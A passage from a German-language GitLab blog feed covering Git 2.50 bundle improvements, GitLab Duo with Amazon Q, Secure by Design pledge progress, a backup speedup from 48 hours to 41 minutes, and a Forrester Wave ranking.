In dieser Version wurde dieses Problem behoben, indem die verschachtelten Schleifen durch eine Datenzuordnungsstruktur ersetzt wurden, was die Geschwindigkeit erheblich erhöht. Der folgende Benchmark zeigt die Leistungssteigerung beim Erstellen eines Bundles mit einem Repository, das 100 000 Referenzen enthält:

Benchmark 1: bundle (refcount = 100000, revision = master) Time (mean ± σ):     14.653 s ±  0.203 s    [User: 13.940 s, System: 0.762 s] Range (min … max):   14.237 s … 14.920 s    10 runs
Benchmark 2: bundle (refcount = 100000, revision = HEAD) Time (mean ± σ):      2.394 s ±  0.023 s    [User: 1.684 s, System: 0.798 s] Range (min … max):    2.364 s …  2.425 s    10 runs
Summary bundle (refcount = 100000, revision = HEAD) ran 6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master)

Weitere Informationen findest du in unserem Blogbeitrag Wie wir die Backup-Zeiten für GitLab-Repos von 48 Stunden auf 41 Minuten verringerten (in englischer Sprache verfügbar). Den ursprünglichen englischsprachigen Mailinglisten-Thread findest du hier.

Dieses Projekt wurde von Karthik Nayak geleitet.

Bessere Auflösung von URI-Bundles

Durch den Bundle-URI (in englischer Sprache verfügbar)-Mechanismus in Git können den Clients Orte zum Abrufen von Bundles zur Verfügung gestellt werden, um Klone und Abrufe zu beschleunigen. Wenn ein Client ein Bundle herunterlädt, werden Referenzen unter refs/heads/* zusammen mit den zugehörigen Objekten aus dem Bundle in das Repository kopiert. Ein Bundle kann zusätzliche Referenzen außerhalb von refs/heads/* enthalten, wie z. B. refs/tags/*, die einfach ignoriert werden, wenn die Bundle-URI beim Klonen verwendet wird.

In Git 2.50 wird diese Einschränkung aufgehoben und alle Referenzen, die mit refs/* übereinstimmen und im heruntergeladenen Bundle enthalten sind, werden kopiert. Scott Chacon, der diese Funktionalität beigesteuert hat, demonstriert den Unterschied beim Klonen von gitlab-org/gitlab-foss:

$ git-v2.49 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.49
Cloning into 'gl2.49'...
remote: Enumerating objects: 1092703, done.
remote: Counting objects: 100% (973405/973405), done.
remote: Compressing objects: 100% (385827/385827), done.
remote: Total 959773 (delta 710976), reused 766809 (delta 554276), pack-reused 0 (from 0)
Receiving objects: 100% (959773/959773), 366.94 MiB | 20.87 MiB/s, done.
Resolving deltas: 100% (710976/710976), completed with 9081 local objects.
Checking objects: 100% (4194304/4194304), done.
Checking connectivity: 959668, done.
Updating files: 100% (59972/59972), done.

$ git-v2.50 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.50
Cloning into 'gl-2.50'...
remote: Enumerating objects: 65538, done.
remote: Counting objects: 100% (56054/56054), done.
remote: Compressing objects: 100% (28950/28950), done.
remote: Total 43877 (delta 27401), reused 25170 (delta 13546), pack-reused 0 (from 0)
Receiving objects: 100% (43877/43877), 40.42 MiB | 22.27 MiB/s, done.
Resolving deltas: 100% (27401/27401), completed with 8564 local objects.
Updating files: 100% (59972/59972), done.

Wenn wir diese Ergebnisse vergleichen, sehen wir, dass Git 2.50 43 887 Objekte (40,42 MiB) abruft, nachdem das Bundle extrahiert wurde, während Git 2.49 insgesamt 959 773 Objekte (366,94 MiB) abruft. Git 2.50 ruft etwa 95 % weniger Objekte und 90 % weniger Daten ab, was vorteilhaft sowohl für den Client als auch für den Server ist. Der Server muss viel weniger Daten für den Client verarbeiten und der Client muss weniger Daten herunterladen und extrahieren. In dem von Scott angegebenen Beispiel führte dies zu einer Beschleunigung um 25 %.

Weitere Informationen findest du im entsprechenden englischsprachigen Mailinglisten-Thread.

TDiese Patch-Serie wurde von Scott Chacon beigesteuert.

Weiterlesen

In diesem Artikel werden nur einige der Beiträge von GitLab und der größeren Git-Community für diese neueste Veröffentlichung vorgestellt. Mehr darüber erfährst du in der offiziellen Veröffentlichungsankündigung des Git-Projekts. Sieh dir auch unsere letzten Blogbeiträge zu Git-Releases (in englischer Sprache verfügbar) an, um weitere wichtige Beiträge von GitLab-Teammitgliedern zu entdecken.

Code-Reviews beschleunigen: Lass KI die Feedback-Implementierung übernehmen

2025-06-10T00:00:00.000Z

Kennst du das Gefühl, wenn du gerade einen Merge Request eingereicht hast und die Code-Review-Kommentare eintrudeln? Ein Reviewer möchte die Labels aktualisiert haben, ein anderer fragt nach Side-by-Side-Layouts, jemand anderes fordert fette Formatierung, und vergiss nicht die Änderung der Button-Farbe. Bevor du dich versiehst, verbringst du Stunden mit der Implementierung von Feedback, das zwar wichtig ist, dich aber davon abhält, neue Features zu entwickeln. Es ist ein zeitaufwendiger Prozess, dem sich jede(r) Entwickler(in) stellen muss, aber es fühlt sich an, als sollte es einen besseren Weg geben.

Was wäre, wenn du einen KI-Assistenten hättest, der Code-Review-Feedback versteht und die Änderungen automatisch für dich implementiert? Genau das bringt GitLab Duo mit Amazon Q in deinen Entwicklungsworkflow. Diese nahtlose Integration kombiniert GitLabs umfassende DevSecOps-Plattform mit Amazon Qs fortgeschrittenen KI-Fähigkeiten und schafft einen intelligenten Assistenten, der Reviewer-Kommentare lesen und direkt in Code-Änderungen umwandeln kann. Anstatt jedes Feedback manuell zu bearbeiten, kannst du die KI die Implementierung übernehmen lassen, während du dich auf das große Ganze konzentrierst.

Wie GitLab Duo mit Amazon Q funktioniert

Wenn du einen Merge Request mit Reviewer-Kommentaren ansiehst, siehst du Feedback, das über deinen Code verteilt ist. Nehmen wir die Beispiele von vorhin: Vielleicht hast du eine Anfrage erhalten, hier ein Formular-Label zu aktualisieren, dort einen Vorschlag, Felder nebeneinander anzuzeigen, oder eine Notiz, bestimmten Text fett zu formatieren. Jeder Kommentar stellt eine Aufgabe dar, die du normalerweise manuell erledigen müsstest.

Mit GitLab Duo mit Amazon Q kannst du einfach die /q dev Quick Action in einem Kommentar eingeben. Dies veranlasst Amazon Q, das gesamte Feedback zu analysieren und automatisch mit der Modifikation deines Codes zu beginnen. Der KI-Agent versteht den Kontext jedes Kommentars und implementiert die angeforderten Änderungen direkt in deiner Codebasis.

Sobald Amazon Q das Feedback verarbeitet hat, kannst du alle Updates im „Änderungen"-Tab deines Merge Requests einsehen. Jede Modifikation ist klar sichtbar, sodass du überprüfen kannst, dass der KI-Agent jedes Feedback korrekt interpretiert und implementiert hat. Du kannst dann deine aktualisierte Anwendung ausführen, um zu bestätigen, dass alle Änderungen wie erwartet funktionieren – das Formular-Label ist aktualisiert, die Felder werden nebeneinander angezeigt, der Text ist fett, und ja, dieser Button ist jetzt blau.

Sieh dir den Code-Review-Feedback-Prozess in Aktion an:

Die Verarbeitung von Code-Review-Feedback ist ein notwendiger, aber zeitintensiver Teil der Softwareentwicklung. GitLab Duo mit Amazon Q entwickelt diesen manuellen Prozess zu einem automatisierten Workflow weiter und reduziert drastisch die Zeit zwischen dem Erhalt von Feedback und der Implementierung von Änderungen. Indem du die KI diese routinemäßigen Modifikationen übernehmen lässt, bist du frei, dich auf das zu konzentrieren, was wirklich zählt – innovative Features zu entwickeln und komplexe Probleme zu lösen.

Mit GitLab Duo mit Amazon Q kannst du:

Stunden manueller Feedback-Implementierung eliminieren
Deine Code-Review-Zyklen beschleunigen
Konsistenz bei der Bearbeitung von Feedback gewährleisten
Kontextwechsel zwischen Review-Kommentaren und Code-Schreiben reduzieren
Features mit optimierten Bereitstellungszeiten schneller ausliefern

Um mehr über GitLab Duo mit Amazon Q zu erfahren, besuche uns bei einem kommenden AWS Summit in einer Stadt in deiner Nähe oder wende dich an deinen GitLab-Vertreter.

GitLab Duo mit Amazon Q Ressourcen

Letztes Jahr haben wir das Secure by Design-Versprechen unterzeichnet – hier ist unser Fortschritt

2025-06-09T00:00:00.000Z

Vor etwas mehr als einem Jahr hat GitLab CISAs Secure by Design Pledge unterzeichnet, eine Richtlinie für Technologieanbieter, Sicherheit von Beginn der Entwicklung an ins Herz ihrer Produkte zu integrieren. Seitdem haben wir erhebliche Fortschritte bei der Verbesserung unserer Sicherheitslage gemacht und ein sichereres Ökosystem für unsere Kund(inn)en geschaffen, um sichere Software schneller zu entwickeln.

Die Sicherheitsziele erreichen

Schauen wir uns die Erweiterungen und Verbesserungen an, die wir vorgenommen haben, um die Sicherheit über den gesamten Entwicklungslebenszyklus hinweg weiter zu verbessern.

Multi-Faktor-Authentifizierung (MFA)

Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens nachweisbare Maßnahmen zur messbaren Erhöhung der Nutzung von Multi-Faktor-Authentifizierung in den Produkten des Herstellers demonstrieren.

GitLab bietet derzeit mehrere MFA-Optionen für Nutzer(innen), um ihre Konten zu sichern. Wir bieten auch SSO-Funktionalität an, damit GitLab.com-, Self-Managed- und GitLab Dedicated-Kund(inn)en ihre Authentifizierungsprozesse und internen MFA-Anforderungen optimieren können.

Um die Widerstandsfähigkeit der Plattform weiter zu verbessern und eine sicherere Grundlage für unsere Kund(inn)en zu schaffen, führt GitLab eine schrittweise MFA-by-Default-Einführung durch.

In den kommenden Monaten werden wir Änderungen implementieren, die alle Kund(inn)en verpflichten, MFA für ihre Konten zu aktivieren.

Für Kund(inn)en, die bereits MFA aktiviert haben oder sich über die Single-Sign-On-Methode (SSO) ihrer Organisation bei GitLab authentifizieren, sind keine Änderungen erforderlich. Kund(inn)en, die noch keine MFA aktiviert haben und sich nicht über die SSO-Methode ihrer Organisation bei GitLab authentifizieren, müssen MFA aktivieren und sich für eine oder mehrere der verfügbaren MFA-Methoden registrieren.

Die MFA-Einführung erfolgt in Phasen, um eine reibungslose und konsistente Annahme bei allen Kund(inn)en zu gewährleisten. Weitere Details zu GitLabs MFA-by-Default-Einführung werden in naher Zukunft geteilt.

Standardpasswörter

Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens messbaren Fortschritt bei der Reduzierung von Standardpasswörtern in den Produkten des Herstellers demonstrieren.

Um die Verwendung von Standardpasswörtern zu reduzieren, nutzt GitLab zufällig generierte Root-Passwörter für seine verschiedenen Installationsmethoden. GitLabs Installationsanweisungen für mehrere Methoden enthalten auch Anleitungen, wie das zufällig generierte Root-Passwort für jede Installation geändert werden kann.

Bei einigen Installationsmethoden, wie der Installation von GitLab in einem Docker-Container, wird die Passwortdatei mit dem initialen Root-Passwort beim ersten Container-Neustart nach 24 Stunden gelöscht, um die GitLab-Instanz weiter zu härten.

Reduzierung ganzer Klassen von Schwachstellen

Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens Maßnahmen demonstrieren, die eine signifikante messbare Reduzierung der Verbreitung einer oder mehrerer Schwachstellenklassen in den Produkten des Herstellers ermöglichen.

GitLab hat Richtlinien für sicheres Programmieren auf seiner Dokumentationsseite veröffentlicht, die Beschreibungen und Richtlinien zur Behebung von Sicherheitsschwachstellen enthalten, die häufig in der GitLab-Codebasis identifiziert werden.

Die Richtlinien sind „darauf ausgelegt, Entwickler(inne)n zu helfen, potenzielle Sicherheitsschwachstellen frühzeitig zu identifizieren, mit dem Ziel, die Anzahl der im Laufe der Zeit veröffentlichten Schwachstellen zu reduzieren."

GitLab verbessert kontinuierlich seine SAST-Regelabdeckung, um umfassendere Sicherheitsschwachstellen für sich selbst und seine Kund(inn)en zu adressieren.

Sicherheitspatches

Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens Maßnahmen demonstrieren, um die Installation von Sicherheitspatches durch Kund(inn)en messbar zu erhöhen.

GitLab übernimmt alle Updates im Zusammenhang mit seinen GitLab.com- und GitLab Dedicated-Serviceangeboten. Zusätzlich veröffentlicht GitLab eine Wartungsrichtlinie, die den Ansatz für die Veröffentlichung von Updates, Rückportierungen, Upgrade-Empfehlungen und unterstützende Dokumentation usw. darlegt.

Die GitLab-Dokumentation bietet umfassende Anleitungen zum Upgrade von Self-Managed-Instanzen basierend auf ihrem Bereitstellungsmodell. Dies umfasst Omnibus-, Helm-Chart-, Docker- und selbstkompilierte GitLab-Installationen.

GitLab bietet auch einen detaillierten Upgrade-Plan, um ordnungsgemäße Tests und Fehlerbehebung sowie bei Bedarf Rollback-Pläne zu gewährleisten.

Je nach Versions-Upgrade werden spezifische Änderungen (Beispiel für GitLab 17) für jede Version hervorgehoben, um einen reibungslosen Upgrade-Prozess zu gewährleisten und die Nichtverfügbarkeit von Diensten zu begrenzen.

Richtlinie zur Offenlegung von Schwachstellen

Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens eine Richtlinie zur Offenlegung von Schwachstellen (VDP) veröffentlichen.

GitLab unterhält ein starkes Bug-Bounty-Programm über HackerOne, eine security.txt-Datei, die GitLabs bevorzugte und zusätzliche Offenlegungsprozesse hervorhebt, sowie Release-Posts, die Sicherheitsfixes hervorheben.

Kund(inn)en und die Öffentlichkeit können sich anmelden, um GitLabs Release-Posts direkt in ihrem E-Mail-Posteingang zu erhalten.

Common Vulnerability Enumerations

Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens Transparenz in der Schwachstellenberichterstattung demonstrieren

GitLab fügt das Common Weakness Enumeration (CWE)-Feld in alle Common Vulnerability Enumeration (CVE)-Datensätze ein, die es veröffentlicht. Im vergangenen Jahr hat GitLab iterativ auch das Common Platform Enumeration (CPE)-Feld in CVE-Datensätzen aufgenommen.

Das GitLab CVE-Zuweisungsprojekt speichert eine Kopie aller CVE-Identifikatoren, die von GitLab in seiner Rolle als CVE Numbering Authority zugewiesen und veröffentlicht wurden.

Schau dir GitLabs CVE-Einreichungsvorlage an.

Beweise für Eindringlinge

Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens eine messbare Erhöhung der Fähigkeit von Kund(inn)en demonstrieren, Beweise für Cybersicherheitseindringlinge zu sammeln, die die Produkte des Herstellers betreffen.

GitLab hat einen Leitfaden zur Vorfallreaktion veröffentlicht, um Kund(inn)en bei der Reaktion auf Vorfälle mit GitLab-Instanzen zu helfen. Zusätzlich hat GitLab Open-Source-Versionen seiner GUARD Detection-as-Code- und TLDR-Bedrohungserkennungs-Frameworks veröffentlicht. Die Repositories für diese Open-Source-Frameworks finden sich im GitLab Open Source Security Center.

In ähnlicher Weise fügt GitLab Funktionalität zu seinem GitLab.com-Serviceangebot hinzu, um kompromittierte Passwörter zu erkennen für alle Anmeldungen, die GitLabs native Benutzername- und Passwort-Authentifizierungsmethode verwenden.

Was kommt als Nächstes

Die Mission der GitLab Security Division ist es, allen zu ermöglichen, auf einer sicheren, geschützten und vertrauenswürdigen DevSecOps-Plattform zu innovieren und erfolgreich zu sein.

GitLabs Sicherheitsverbesserungen im vergangenen Jahr haben es uns ermöglicht, unser Engagement für CISAs Secure by Design Pledge zu demonstrieren, und sie haben unsere Plattform gestärkt und Kund(inn)en eine zuverlässigere und sicherere Grundlage zum Aufbauen gegeben.

Unser Engagement für Iteration bedeutet, dass wir uns bereits auf die nächste Reihe von Innovationen konzentrieren, die uns voranbringen werden.

Um mehr über GitLabs Sicherheitsverbesserungen zu erfahren, setze ein Lesezeichen für unsere Sicherheitsseite im GitLab Blog.

Mehr lesen

So haben wir GitLab-Backups von 48 Stunden auf 41 Minuten beschleunigt

2025-06-05T00:00:00.000Z

Backups von Repositorys sind ein wichtiger Bestandteil jeder robusten Strategie für die Notfallwiederherstellung. Mit zunehmender Größe der Repositorys wird die Erstellung zuverlässiger Backups jedoch immer schwieriger. Das Backup unseres eigenen Rails-Repository dauerte 48 Stunden und zwang uns zu einer unmöglichen Entscheidung zwischen Backup-Häufigkeit und Systemleistung. Wir wollten dieses Thema sowohl für unsere Kund(inn)en als auch für unsere eigenen Benutzer(innen) in den Griff bekommen.

Schließlich haben wir das Problem auf eine 15 Jahre alte Git-Funktion mit O(N²)-Komplexität zurückgeführt und sie mit einer algorithmischen Änderung behoben, die die Backup-Zeiten exponentiell reduzierte. Das Ergebnis: niedrigere Kosten, weniger Risiko und Backup-Strategien, die tatsächlich mit deiner Codebase mitwachsen.

Es stellte sich heraus, dass es sich um ein Skalierungsproblem von Git handelt, das jedes große Repository betrifft. Hier erfährst du, wie wir es aufgespürt und behoben haben.

Skalierbare Backups

Sehen wir uns zunächst das Problem an. Wenn Unternehmen ihre Repositorys skalieren und Backups immer komplexer werden, stehen sie vor einigen Herausforderungen:

Zeitintensive Backups: Bei sehr großen Repositorys kann es mehrere Stunden dauern, bis ein Repository-Backup erstellt wird. Dies kann die Möglichkeit, regelmäßige Backups zu planen, beeinträchtigen.
Ressourcenintensität: Erweiterte Backup-Prozesse können erhebliche Serverressourcen verbrauchen, was sich möglicherweise auf andere Vorgänge auswirken kann.
Backup-Fenster: Für Teams, die rund um die Uhr arbeiten, kann es schwierig sein, angemessene Wartungsfenster für Prozesse zu finden, die so lange dauern.
Erhöhtes Ausfallrisiko: Prozesse, die über längere Zeit ausgeführt werden, sind anfälliger für Unterbrechungen durch Netzwerkprobleme, Neustarts von Servern und Systemfehler. So sind Teams manchmal dazu gezwungen, den gesamten sehr langen Backup-Prozess von Grund auf neu zu starten.
Race Conditions: Da es sehr lange dauert, ein Backup durchzuführen, kann sich das Repository während des Prozesses stark verändern. Dies kann möglicherweise zu einem ungültigen Backup führen oder das Backup unterbrechen, weil Objekte nicht mehr verfügbar sind.

Diese Herausforderungen können zu Kompromissen bei der Häufigkeit oder Vollständigkeit von Backups führen – ein inakzeptabler Kompromiss, wenn es um den Datenschutz geht. Erweiterte Backup-Fenster können Kund(inn)en zu Problemumgehungen zwingen. Einige setzen möglicherweise externe Tools ein, während andere die Backup-Häufigkeit reduzieren, was zu potenziell inkonsistenten Datenschutzstrategien im Unternehmen führen kann.

Sehen wir uns nun an, wie wir einen Leistungsengpass identifiziert, eine Lösung gefunden und diese bereitgestellt haben, um die Backup-Zeiten zu verkürzen.

Die technische Herausforderung

Die Repository-Backup-Funktionalität von GitLab basiert auf dem Befehl git bundle create, der einen vollständigen Snapshot eines Repository erfasst, einschließlich aller Objekte und Referenzen wie Branches und Tags. Dieses Bundle dient als Wiederherstellungspunkt, um das Repository in seinem genauen Zustand neu zu erstellen.

Die Implementierung des Befehls litt jedoch unter einer schlechten Skalierbarkeit im Zusammenhang mit der Referenzzählung, was zu einem Leistungsengpass führte. Je mehr Referenzen die Repositorys sammelten, desto mehr stieg die Verarbeitungszeit exponentiell an. In unseren größten Repositorys mit Millionen von Referenzen konnten Backup-Vorgänge mehr als 48 Stunden dauern.

Grundursachenanalyse

Um die Grundursache dieses Leistungsengpasses zu identifizieren, haben wir ein Flammendiagramm des Befehls während der Ausführung analysiert.

Ein Flammendiagramm, das den Ausführungspfad eines Befehls durch seinen Stacktrace zeigt. Jeder Balken entspricht einer Funktion im Code. Die Breite des Balkens gibt an, wie viel Zeit der Befehl für die Ausführung innerhalb dieser bestimmten Funktion benötigt hat.

Bei der Untersuchung des Flammendiagramms von git bundle create, das auf einem Repository mit 10 000 Referenzen ausgeführt wird, werden etwa 80 % der Ausführungszeit von der Funktion object_array_remove_duplicates() verbraucht. Diese Funktion wurde in Git im Commit b2a6d1c686 eingeführt (bundle: allow the same ref to be given more than once, 17.01.2009).

Um diese Änderung zu verstehen, ist es wichtig zu wissen, dass git bundle create es Benutzer(inne)n ermöglicht, anzugeben, welche Referenzen in das Bundle aufgenommen werden sollen. Für vollständige Repository-Bundles werden mit dem Flag --all alle Referenzen gepackt.

Der Commit löste ein Problem, bei dem Benutzer(innen), die über die Befehlszeile doppelte Referenzen bereitstellten – wie z. B. git bundle create main.bundle main main – ein Bundle erstellten, ohne die doppelte Hauptreferenz ordnungsgemäß zu verarbeiten. Das Entpacken dieses Bundles in einem Git-Repository würde fehlschlagen, da versucht würde, die gleiche Referenz zweimal zu schreiben. Der Code zum Vermeiden von Duplikaten verwendet verschachtelte for-Schleifen, die alle Referenzen durchlaufen, um Duplikate zu identifizieren. Dieser O(N²)-Algorithmus wird in Repositorys mit einer großen Anzahl von Referenzen zu einem erheblichen Leistungsengpass, da er viel Rechenzeit verbraucht.

Der Fix: Von O(N²) zu effizientem Mapping

Um dieses Leistungsproblem zu lösen, haben wir einen Upstream-Fix für Git bereitgestellt, der die verschachtelten Schleifen durch eine Mapping-Datenstruktur ersetzt. Jede Referenz wird der Zuordnung hinzugefügt, wodurch automatisch sichergestellt wird, dass nur eine einzige Kopie jeder Referenz für die Bearbeitung gespeichert wird.

Diese Änderung verbessert die Leistung von git bundle create drastisch und ermöglicht eine bessere Skalierbarkeit in Repositorys mit einer großen Anzahl von Referenzen. Benchmark-Tests mit einem Repository mit 10 000 Referenzen zeigen eine 6-fache Leistungssteigerung.

Benchmark 1: bundle (refcount = 100000, revision = master)
  Time (mean ± σ): 	14.653 s ±  0.203 s	[User: 13.940 s, System: 0.762 s]
  Range (min … max):   14.237 s … 14.920 s	10 runs

Benchmark 2: bundle (refcount = 100000, revision = HEAD)
  Time (mean ± σ):  	2.394 s ±  0.023 s	[User: 1.684 s, System: 0.798 s]
  Range (min … max):	2.364 s …  2.425 s	10 runs

Summary
  bundle (refcount = 100000, revision = HEAD) ran
  6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master)

Der Patch wurde akzeptiert und in den Git-Upstream zusammengeführt. Wir haben diesen Fix zurückportiert, damit unsere Kund(inn)en sofort davon profitieren können, ohne auf die nächste Git-Version warten zu müssen.

Das Ergebnis: Drastisch verkürzte Backup-Zeiten

Die Leistungssteigerungen, die sich aus dieser Verbesserung ergeben haben, sind bahnbrechend:

Von 48 Stunden auf 41 Minuten: Das Erstellen eines Backups unseres größten Repositorys (gitlab-org/gitlab) dauert jetzt nur noch 1,4 % der ursprünglichen Zeit.
Konsistente Leistung: Die Verbesserung funktioniert zuverlässig bei Repositorys jeder Größe.
Ressourceneffizienz: Wir haben die Serverlast während der Backup-Vorgänge deutlich reduziert.
Breitere Anwendbarkeit: Bei der Erstellung von Backups ist die Verbesserung am größten, aber auch alle Bundle-basierten Vorgänge, die mit vielen Referenzen arbeiten, profitieren davon.

Was bedeutet das für GitLab-Kund(inn)en?

GitLab-Kund(inn)en profitieren von dieser Erweiterung unmittelbar und spürbar, wenn es darum geht, wie Unternehmen die Sicherung von Repositorys und die Notfallwiederherstellung planen:

Transformierte Backup-Strategien
- Enterprise-Teams können umfassende nächtliche Zeitpläne aufstellen, ohne dass die Entwicklungs-Workflows beeinträchtigt werden oder umfangreiche Backup-Fenster erforderlich sind.
- Backups können jetzt während der nächtlichen Zeitpläne nahtlos im Hintergrund ausgeführt werden, anstatt separat und langwierig durchgeführt zu werden.
Bessere Geschäftskontinuität
- Durch die Verkürzung der Backup-Zeiten von Tagen auf Minuten können Unternehmen ihr Wiederherstellungsziel deutlich minimieren. Dies führt zu einem geringeren Geschäftsrisiko – in einem Katastrophenszenario musst du möglicherweise nur noch Stunden anstatt Tage an Arbeit wiederherstellen.
Reduzierter betrieblicher Mehraufwand
- Geringerer Verbrauch von Serverressourcen und kürzere Wartungsfenster.
- Kürzere Backup-Fenster bedeuten geringere Compute-Kosten, vor allem in Cloud-Umgebungen, wo sich längere Verarbeitungszeiten direkt in höheren Rechnungen niederschlagen.
Zukunftssichere Infrastruktur
- Wachsende Repositorys erzwingen keine schwierigen Entscheidungen mehr zwischen Backup-Häufigkeit und Systemleistung.
- Wenn deine Codebase wächst, kann deine Backup-Strategie nahtlos mitwachsen.

Unternehmen können jetzt robustere Backup-Strategien umsetzen, ohne Kompromisse bei der Leistung oder Vollständigkeit einzugehen. Was früher ein schwieriger Kompromiss war, ist heute ein ganz normaler Vorgang.

Mit dem Release von GitLab 18.0 (nur in englischer Sprache verfügbar) können alle GitLab-Kund(inn)en unabhängig von ihrem Tarif diese Verbesserungen bereits in vollem Umfang für ihre Backup-Strategie und Ausführung (nur in englischer Sprache verfügbar) nutzen. Es ist keine weitere Änderung der Konfiguration erforderlich.

Wie geht es weiter?

Dieser Durchbruch ist Teil unseres kontinuierlichen Engagements für eine skalierbare, unternehmensgerechte Git-Infrastruktur. Die Reduzierung der Zeit für die Erstellung von Backups von 48 Stunden auf 41 Minuten ist bereits ein wichtiger Meilenstein. Wir arbeiten weiter daran, Leistungsengpässe in unserem gesamten Stack zu identifizieren und zu beheben.

Wir sind besonders stolz darauf, dass diese Verbesserung in das Git-Projekt integriert wurde und nicht nur den Benutzer(inn)en von GitLab, sondern auch der gesamten Git-Community zugutekommt. Dieser kollaborative Ansatz bei der Entwicklung stellt sicher, dass Verbesserungen gründlich geprüft, umfassend getestet und für alle zugänglich gemacht werden.

Tiefgreifende Infrastrukturarbeit wie diese ist die Art, wie wir bei GitLab an die Leistung herangehen. Nimm am virtuellen Launch-Event von GitLab 18 teil, um zu sehen, welche weiteren grundlegenden Verbesserungen wir einführen werden. Registriere dich noch heute!

GitLab ist ein Leader in der Forrester Wave™: DevOps Platforms, Q2 2025

2025-06-02T00:00:00.000Z

Die Wahl einer DevSecOps-Plattform ist eine der wichtigesten technologischen Entscheidungen, die ein Unternehmen zu treffen hat. Deshalb freuen wir uns sehr, dass wir als führender Anbieter in The Forrester Wave™: DevOps Platforms, Q2 2025 (nur in englischer Sprache verfügbar) ausgezeichnet wurden.

Wir haben die höchstmöglichen Punktzahlen bei den Kriterien erhalten, die unseren Kund(inn)en laut ihren eigenen Angaben am wichtigsten sind, einschließlich der Benutzungserfahrung am ersten Tag, der Entwicklungstools, der Build-Automatisierung und CI, der automatisierten Bereitstellung, der Risikominderung im Zusammenhang mit KI, KI-Infusion, direkt integrierter Sicherheitstools und Plattformkohäsion.

„GitLab ist die All-in-One-Lösung unter den All-in-One-Lösungen, die ihrem Namen am stärksten gerecht wird, und eignet sich damit für Unternehmen, die mit einem einzigen Kauf eine Standardisierung herbeiführen möchten.“ – Forrester Wave™: DevOps Platforms, Q2 2025

Diese Auszeichnung spiegelt das wider, was wir selbst von unseren Kund(inn)en gehört haben: Sie müssen sichere Software schneller bereitstellen, doch ihre bestehenden Lösungen zwingen sie, Kompromisse bei der Geschwindigkeit, Sicherheit oder Einfachheit einzugehen. GitLab wird jedoch allen drei Anforderungen gerecht. Und mit unserer Veröffentlichung von GitLab 18.0 (nur in englischer Sprache verfügbar) im Mai sind wir noch einen Schritt weiter gegangen, indem wir ohne zusätzliche Kosten die KI-nativen Funktionen von GitLab Duo – wie Test Generation, Code Suggestions und Code Refactoring – direkt in GitLab Premium und GitLab Ultimate integriert haben.

Erhalte jetzt Zugang zum englischsprachigen Bericht.

Mit unternehmensweiter Kontrolle an der Spitze der KI-Transformation bleiben

DevSecOps entwickelt sich rasant weiter, wobei die KI an der Spitze dieses Wandels steht. Leider zwingen viele KI-Tools die Anwender(innen) zu einer Wahl: entweder modernste Funktionen oder eine höchstmögliche Unternehmenssicherheit.

GitLab hat sowohl bei den Kriterien KI-Infusion als auch KI-Risikominderung 5 Punkte erhalten – die höchste mögliche Punktzahl. Wir freuen uns, dass unser klarer Fokus auf die Entwicklung innovativer KI-Funktionen, bei denen gleichermaßen eine umfassende Sicherheit gewährleistet bleibt, nicht nur von unseren Kund(inn)en wahrgenommen wird.

Diese doppelte Stärke zeigt sich in unseren KI-Angeboten von GitLab Duo, unter anderem:

Duo Workflow (private Beta-Version): Autonome KI-Agenten, die komplexe Aufgaben bei der Entwicklung, Sicherheit und Betrieb bewältigen – mit Leitlinien und Audit-Trails auf Enterprise-Niveau.
Agentic Chat: Kontextbezogene, dialogorientierte KI-Unterstützung für alles von Codeerläuterungen bis hin zur Erstellung von Tests – mit integriertem Schutz des geistigen Eigentums und Datenschutzkontrollen.
Code Suggestions: KI-Unterstützung, die Codeblöcke vorausschauend vervollständigen, eine Funktionslogik definieren, Tests generieren und häufig verwendeten Code wie Regex-Muster vorschlagen kann.
KI-native Vulnerability Resolution: Findet und behebt Sicherheitslücken mit automatischen Erklärungen und automatisch erstellten Merge Requests, um so den Entwicklungsprozess zu optimieren.

Mit weniger mehr erreichen

Wir haben deutlich vernommen, dass DevSecOps-Teams nicht noch mehr Tools und Integrationen benötigen, die sie bei einzelnen Abschnitten ihres Software-Entwicklungsprozesses unterstützen. Sie benötigen stattdessen eine nahtlose, integrierte Entwicklererfahrung, die den gesamten Lebenszyklus der Softwareentwicklung abdeckt.

Wir sind überzeugt, dass die Bewertungen von GitLab in den folgenden Kriterien unsere kundenorientierte Strategie bestätigen:

Nutzungserfahrung am ersten Tag: Forrester zitiert unsere „starke Nutzungserfahrung am ersten Tag“ und stellt fest, dass „alles sofort einsatzbereit ist“, unterstützt durch umfangreiche Migrationstools und Tutorials.
Entwicklertools: Forrester verweist beispielhaft auf GitLab Duo mit Amazon Q, unser Angebot für agentische KI für AWS-Kund(inn)en, sowie auf unsere Entwicklungsumgebung in der Cloud, die integrierte Entwicklungsplattform und Wikis für die Dokumentation.
Projektplanung und -abstimmung: Forrester hebt unser „starkes Compliance Center“ hervor und stellt fest, dass wir über Tools verfügen, um die Abstimmung in beide Richtungen voranzutreiben.
Pipeline-Sicherheit: Forrester gibt uns die höchstmögliche Punktzahl beim Kriterium Pipeline-Sicherheit.
Build-Automatisierung und CI: Forrester erwähnt unsere Build-Automatisierung und CI mit mehrstufigen Build-Pipelines und einer starken Unterstützung für selbst gehostete Installationen.

Bericht lesen

Für uns spiegelt sich in unserer Auszeichnung als führender Anbieter in The Forrester Wave™: DevOps-Plattformen, Q2 2025 die Breite und Tiefe der Funktionen unserer Plattform wider, die als Single Source of Truth über den gesamten Lebenszyklus der Softwareentwicklung hinweg fungiert. Kein Jonglieren mit mehreren Tools und Integrationen mehr – GitLab bietet eine nahtlose, integrierte Erfahrung, die die Produktivität steigert und Reibungsverluste reduziert.

Wir sind überzeugt, dass sich in dieser hervorragenden Platzierung die harte Arbeit unseres Teams, die vielen Beiträge der Open-Source-Community von GitLab, das unschätzbare Feedback unserer Kund(inn)en und unser Engagement für die Gestaltung der Zukunft der Softwareentwicklung widerspiegeln.

Öffne den englischsprachigen Bericht.

